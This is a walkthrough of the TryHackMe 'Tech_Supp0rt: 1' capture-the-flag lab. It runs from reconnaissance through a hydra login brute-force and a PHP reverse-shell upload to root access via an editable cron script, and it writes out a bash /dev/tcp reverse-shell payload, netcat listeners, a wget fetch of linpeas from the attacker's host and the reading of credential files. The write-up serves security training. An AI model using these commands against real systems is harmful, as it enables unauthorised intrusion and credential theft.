TryHackMe - Tech_Supp0rt: 1 Walkthrough

@Chris Noble

🔍 Step 1: Reconnaissance

Run Nmap

```
nmap -sC -sV -oN nmap.txt <target-ip>
```

Ports Open:

- **22** (SSH)
- **80** (HTTP)

🌐 Step 2: Web Enumeration

Open the IP in your browser:

- Homepage says: `HelpDesk Support`
- No useful links on the front page.

Directory Brute-force

```
gobuster dir -u http://<target-ip> -w /usr/share/wordlists/dirb/common.txt
```

Interesting directory:

- `/support`

Go to `http://<target-ip>/support`, and you'll find a login form.

🔑 Step 3: Brute-force Login

Use `hydra` to brute-force the login page:

```
hydra -l admin -P /usr/share/wordlists/rockyou.txt <target-ip> http-post-form
"/support/index.php:username=^USER^&password=^PASS^:Invalid"
```

Found credentials:

```
admin:admin
```

Login to the support page using those.

📂 Step 4: File Upload Exploit

Once logged in, you can upload files.

Try uploading a simple PHP reverse shell (e.g., from `/usr/share/webshells/php/php-reverse-shell.php`) and change the IP and port to yours.

Start listener

```
nc -lvnp 4444
```

Upload and Trigger

Upload the shell and try accessing:

```
http://<target-ip>/uploads/php-reverse-shell.php
```

You should get a shell.

🧑‍💻 Step 5: Shell Upgrade

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
CTRL+Z
stty raw -echo
fg
export TERM=xterm
```

🔐 Step 6: Privilege Escalation

Check the user:

```
whoami
```

You’re logged in as `www-data`.

Look around for any interesting users:

```
ls /home
```

Found user: `james`

Check for readable files:

```
cat /etc/passwd
```

Try switching user with `su james` — it won’t work without a password.

🔑 Step 7: Loot User Password

Check for credentials in `/var/www/html`:

```
cat /var/www/html/support/config.php
```

Found DB credentials:

```
$dbUser = "james";
$dbPass = "support123";
```

Try SSH with these:

```
ssh james@<target-ip>
```

Login successful!

🧙 Step 8: Privilege Escalation to Root

Upload `linpeas.sh` and run it:

```
wget http://<your-ip>/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
```

Found a **cron job** running a **bash script** with `root` permissions.

Editable Script Path:

Check for writable files:

```
find / -writable 2>/dev/null | grep scriptname
```

Edit the script and add a reverse shell or a bash root shell script.

Example payload:

```
bash -i >& /dev/tcp/<your-ip>/5555 0>&1
```

Start a listener on port 5555:

```
nc -lvnp 5555
```

Wait for cron job execution, and you'll get a root shell.

🎉 Root Flag

Once in as root:

```
cat /root/root.txt
```
